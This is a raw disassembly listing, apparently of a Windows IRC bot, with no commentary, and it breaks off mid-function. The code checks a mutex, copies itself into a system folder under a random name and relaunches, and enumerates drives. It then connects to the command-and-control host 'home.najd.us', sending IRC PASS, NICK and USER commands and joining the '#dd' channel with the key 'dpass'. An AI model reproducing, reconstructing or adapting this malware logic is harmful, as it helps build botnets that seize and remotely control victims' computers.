		call	sub_417260
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_4172E0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40C27B
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40C23D
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40C23D
; ---------------------------------------------------------------------------

loc_40C27B:				; CODE XREF: sub_40C218+4Bj
		dec	esi
		mov	eax, edi

loc_40C27E:				; CODE XREF: sub_40C218+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40C28D
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------

loc_40C28D:				; CODE XREF: sub_40C218+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C218	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C297	proc near		; CODE XREF: sub_40C443+51p
					; sub_40C443+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43A418
		sub	eax, 0
		jz	short loc_40C2DA
		dec	eax
		jz	short loc_40C2D4
		dec	eax
		dec	eax
		jz	short loc_40C2CE
		dec	eax
		jz	short loc_40C2C8
		dec	eax
		jz	short loc_40C2C2
		dec	eax
		jz	short loc_40C2BC
		mov	eax, offset word_42B7C4
		retn
; ---------------------------------------------------------------------------

loc_40C2BC:				; CODE XREF: sub_40C297+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------

loc_40C2C2:				; CODE XREF: sub_40C297+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_40C2C8:				; CODE XREF: sub_40C297+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_40C2CE:				; CODE XREF: sub_40C297+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_40C2D4:				; CODE XREF: sub_40C297+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_40C2DA:				; CODE XREF: sub_40C297+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40C297	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2E0	proc near		; CODE XREF: sub_40C328+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43A2B4
		test	eax, eax
		jz	short loc_40C315
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_40C315:				; CODE XREF: sub_40C2E0+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C328	proc near		; CODE XREF: sub_40AAD1+1F3p
					; sub_40C443+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40C2E0
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C400
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C400
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C400
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_417750
		push	edx
		push	eax
		call	sub_40C218
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_417750
		push	edx
		push	eax
		call	sub_40C218
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_417750
		push	edx
		push	eax
		call	sub_40C218
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40C42F
; ---------------------------------------------------------------------------

loc_40C400:				; CODE XREF: sub_40C328+2Cj
					; sub_40C328+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4154E7
		add	esp, 18h

loc_40C42F:				; CODE XREF: sub_40C328+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C443	proc near		; CODE XREF: sub_40C515+17p
					; sub_40C515+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40C328
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_415910
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40C4B6
		push	ebx
		push	ebx
		call	sub_40C297
		pop	ecx
		push	eax
		push	offset dword_42C128
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 14h
		jmp	short loc_40C4EA
; ---------------------------------------------------------------------------

loc_40C4B6:				; CODE XREF: sub_40C443+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40C297
		pop	ecx
		push	eax
		push	offset dword_42C0D8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 20h

loc_40C4EA:				; CODE XREF: sub_40C443+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40B16D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C515	proc near		; CODE XREF: sub_40CE55+5216p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40C536
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C443
		add	esp, 10h
		jmp	short loc_40C597
; ---------------------------------------------------------------------------

loc_40C536:				; CODE XREF: sub_40C515+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43A328
		lea	esi, [eax+2]
		push	esi
		call	sub_415DC9
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43A328
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40C58E

loc_40C55A:				; CODE XREF: sub_40C515+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C57D
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C443
		add	esp, 10h

loc_40C57D:				; CODE XREF: sub_40C515+54j
		push	esi
		call	sub_415CF0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40C55A

loc_40C58E:				; CODE XREF: sub_40C515+43j
		push	edi
		call	sub_415E3D
		pop	ecx
		pop	edi
		pop	esi

loc_40C597:				; CODE XREF: sub_40C515+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40C515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59A	proc near		; DATA XREF: sub_40C682+11o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43F554
		call	dword_43A450
		call	sub_41515C
		call	dword_43A318
		call	dword_43A318
		mov	ebx, dword_421060
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415570
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_438FDC
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_421058
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_42107C
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_4210EC
		test	eax, eax
		jz	short loc_40C65F
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_42106C
		call	esi
		push	[ebp+var_C]
		call	esi

loc_40C65F:				; CODE XREF: sub_40C59A+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43E7C0
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_421114
		pop	edi
		pop	esi
		pop	ebx
sub_40C59A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C682	proc near		; CODE XREF: .nsp0:00417BC1p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= byte ptr -0E4h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_40C59A
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	dword_42C190, ebx
		jz	short loc_40C6B8
		call	sub_409F9D

loc_40C6B8:				; CODE XREF: sub_40C682+2Fj
		mov	esi, dword_42104C
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_468838, eax
		call	esi
		push	eax
		call	sub_415539
		pop	ecx
		call	sub_4089F2
		push	2
		call	dword_43A464
		push	7530h
		push	offset aIdsppn	; "idsppn"
		push	ebx
		push	ebx
		call	dword_42112C
		push	eax
		call	dword_421128
		cmp	eax, 102h
		jnz	short loc_40C70C
		push	1
		call	dword_421114

loc_40C70C:				; CODE XREF: sub_40C682+80j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_43A330
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40CB6C
		cmp	[ebp+var_884], 2
		jnz	loc_40CB66
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_40CB66
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_421058
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_4210C8
		push	eax
		call	dword_42107C
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_417348
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_415AC0
		add	esp, 30h
		test	eax, eax
		jnz	loc_40C96F
		cmp	dword_4689A8, ebx
		mov	esi, offset byte_42C1FC
		jz	short loc_40C807
		push	esi
		xor	edi, edi
		call	sub_415CF0
		sub	eax, 4
		pop	ecx
		jz	short loc_40C807

loc_40C7E4:				; CODE XREF: sub_40C682+183j
		call	sub_415543
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42C1FC[edi], dl
		inc	edi
		call	sub_415CF0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40C7E4

loc_40C807:				; CODE XREF: sub_40C682+152j
					; sub_40C682+160j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_421094
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C847
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	dword_4210F4

loc_40C847:				; CODE XREF: sub_40C682+1B1j
		mov	esi, dword_421124
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax

loc_40C85E:				; CODE XREF: sub_40C682+213j
		call	esi
		test	eax, eax
		jnz	short loc_40C897
		call	dword_421088
		cmp	edi, ebx
		jnz	short loc_40C897
		cmp	eax, 20h
		jz	short loc_40C878
		cmp	eax, 5
		jnz	short loc_40C897

loc_40C878:				; CODE XREF: sub_40C682+1EFj
		push	1
		pop	edi
		push	3A98h
		call	dword_421060
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_40C85E
; ---------------------------------------------------------------------------

loc_40C897:				; CODE XREF: sub_40C682+1E0j
					; sub_40C682+1EAj ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_409D4F
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	dword_4210F4
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_64]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 18h
		mov	[ebp+var_64], esi
		mov	[ebp+var_58], offset byte_438FDC
		mov	[ebp+var_34], bx
		push	1
		pop	esi
		mov	[ebp+var_38], esi
		call	dword_421120
		push	eax
		push	esi
		push	100000h
		call	dword_42111C
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_43317C
		push	eax
		call	sub_4154E7
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_4210EC
		test	eax, eax
		jz	short loc_40C96F
		push	0C8h
		call	dword_421060
		push	[ebp+var_1C]
		mov	esi, dword_42106C
		call	esi
		push	[ebp+var_18]
		call	esi
		call	dword_43A318
		push	ebx
		call	dword_421114

loc_40C96F:				; CODE XREF: sub_40C682+141j
					; sub_40C682+2C3j
		cmp	dword_4694D0, 2
		jle	short loc_40C9BB
		mov	eax, dword_4694D4
		push	dword ptr [eax+4]
		call	sub_415A5F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_421128
		push	esi
		call	dword_42106C
		mov	eax, dword_4694D4
		cmp	[eax+8], ebx
		jz	short loc_40C9BB
		push	7D0h
		call	dword_421060
		mov	eax, dword_4694D4
		push	dword ptr [eax+8]
		call	dword_421118

loc_40C9BB:				; CODE XREF: sub_40C682+2F4j
					; sub_40C682+31Ej
		cmp	dword_42C198, ebx
		jz	short loc_40C9D8
		cmp	dword_43A488, ebx
		jnz	short loc_40C9D8
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_40B3AE
		pop	ecx

loc_40C9D8:				; CODE XREF: sub_40C682+33Fj
					; sub_40C682+347j
		lea	eax, [ebp+var_E4]
		push	offset dword_433150
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_E4]
		push	ebx
		push	eax
		call	sub_414F93
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_40B16D
		push	0B80h
		push	ebx
		push	offset dword_43E7C8
		call	sub_415570
		call	sub_415543
		push	7Fh
		push	offset aHome_najd_us ; "home.najd.us"
		push	offset dword_468844
		mov	dword_4689BC, ebx
		call	sub_416D40
		mov	eax, dword_42C17C
		push	3Fh
		mov	edi, offset dword_4688C4
		push	offset aDd_0	; "#dd"
		push	edi
		mov	dword_468994, eax
		call	sub_416D40
		push	3Fh
		mov	esi, offset dword_468904
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_416D40
		add	esp, 48h
		mov	dword_468998, ebx

loc_40CA66:				; CODE XREF: sub_40C682+48Aj
					; sub_40C682+495j ...
		mov	[ebp+var_4], ebx

loc_40CA69:				; CODE XREF: sub_40C682+43Ej
		cmp	dword_43A4A0, ebx
		jnz	short loc_40CA87
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	dword_43A2FC
		test	eax, eax
		jnz	short loc_40CA87
		push	7530h
		jmp	short loc_40CAB3
; ---------------------------------------------------------------------------

loc_40CA87:				; CODE XREF: sub_40C682+3EDj
					; sub_40C682+3FCj
		push	offset dword_468840
		mov	dword_4689B8, ebx
		call	sub_40CB75
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40CB61
		cmp	dword_4689B8, ebx
		jz	short loc_40CAAE
		dec	[ebp+var_4]

loc_40CAAE:				; CODE XREF: sub_40C682+427j
		push	0BB8h

loc_40CAB3:				; CODE XREF: sub_40C682+403j
		call	dword_421060
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40CA69
		cmp	[ebp+var_8], 2
		jz	loc_40CB61
		cmp	[ebp+var_C], ebx
		jz	short loc_40CB11
		push	7Fh
		push	offset aHome_najd_us ; "home.najd.us"
		push	offset dword_468844
		call	sub_416D40
		mov	eax, dword_42C17C
		push	3Fh
		push	offset aDd_0	; "#dd"
		push	edi
		mov	dword_468994, eax
		call	sub_416D40
		push	3Fh
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_416D40
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40CA66
; ---------------------------------------------------------------------------

loc_40CB11:				; CODE XREF: sub_40C682+44Dj
		cmp	byte_42C1DC, bl
		jz	loc_40CA66
		push	7Fh
		push	offset byte_42C1DC
		push	offset dword_468844
		call	sub_416D40
		mov	eax, dword_42C180
		push	3Fh
		push	offset aDd_1	; "#dd"
		push	edi
		mov	dword_468994, eax
		call	sub_416D40
		push	3Fh
		push	offset aDpass_0	; "dpass"
		push	esi
		call	sub_416D40
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40CA66
; ---------------------------------------------------------------------------

loc_40CB61:				; CODE XREF: sub_40C682+41Bj
					; sub_40C682+444j
		call	sub_41515C

loc_40CB66:				; CODE XREF: sub_40C682+AEj
					; sub_40C682+BEj
		call	dword_43A318

loc_40CB6C:				; CODE XREF: sub_40C682+A1j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40C682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB75	proc near		; CODE XREF: sub_40C682+410p
					; DATA XREF: sub_40CE55+39D7o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_40CB9A:				; CODE XREF: sub_40CB75+E6j
					; sub_40CB75+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43A3B8
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A05B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40CCC7
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_415570
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4689AC
		push	dword_42C1A4
		push	eax
		call	sub_414433
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43F560
		push	edi
		push	eax
		call	sub_416D40
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43A438
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43F554[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43A360
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CC60
		push	esi
		call	dword_43A450
		call	sub_40A084
		push	7D0h

loc_40CC55:				; CODE XREF: sub_40CB75+146j
		call	dword_421060
		jmp	loc_40CB9A
; ---------------------------------------------------------------------------

loc_40CC60:				; CODE XREF: sub_40CB75+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_433188
		call	sub_40B1E1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40CCDD
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43A450
		test	edi, edi
		jz	loc_40CB9A
		cmp	edi, 1
		jnz	short loc_40CCBD
		push	0DBBA0h
		jmp	short loc_40CC55
; ---------------------------------------------------------------------------

loc_40CCBD:				; CODE XREF: sub_40CB75+13Fj
		cmp	edi, 2
		jz	short loc_40CCCB
		jmp	loc_40CB9A
; ---------------------------------------------------------------------------

loc_40CCC7:				; CODE XREF: sub_40CB75+5Aj
		xor	eax, eax
		jmp	short loc_40CCD7
; ---------------------------------------------------------------------------

loc_40CCCB:				; CODE XREF: sub_40CB75+14Bj
		push	[ebp+var_34]
		call	sub_4152AF
		pop	ecx
		push	2
		pop	eax

loc_40CCD7:				; CODE XREF: sub_40CB75+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40CB75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCDD	proc near		; CODE XREF: sub_40CB75+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_415D70
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx

loc_40CCFB:				; CODE XREF: sub_40CCDD+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40CCFB
		cmp	byte_4689B0, bl
		jz	short loc_40CD22
		push	offset byte_4689B0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_412D06
		add	esp, 0Ch

loc_40CD22:				; CODE XREF: sub_40CCDD+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_414433
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4154E7
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CD8C
		push	[ebp+arg_0]
		call	dword_43A450
		push	1388h
		call	dword_421060

loc_40CD85:				; CODE XREF: sub_40CCDD+D9j
					; sub_40CCDD+153j
		xor	eax, eax

loc_40CD87:				; CODE XREF: sub_40CCDD+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CD8C:				; CODE XREF: sub_40CCDD+92j
					; sub_40CCDD+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3D0
		test	eax, eax
		jle	short loc_40CD85
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_409A3B
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40CD8C
		lea	edi, [ebp+var_A10]

loc_40CDDD:				; CODE XREF: sub_40CCDD+165j
		push	1
		pop	esi

loc_40CDE0:				; CODE XREF: sub_40CCDD+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40CE55
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40CE23
		push	7D0h
		call	dword_421060
		jmp	short loc_40CDE0
; ---------------------------------------------------------------------------

loc_40CE23:				; CODE XREF: sub_40CCDD+137j
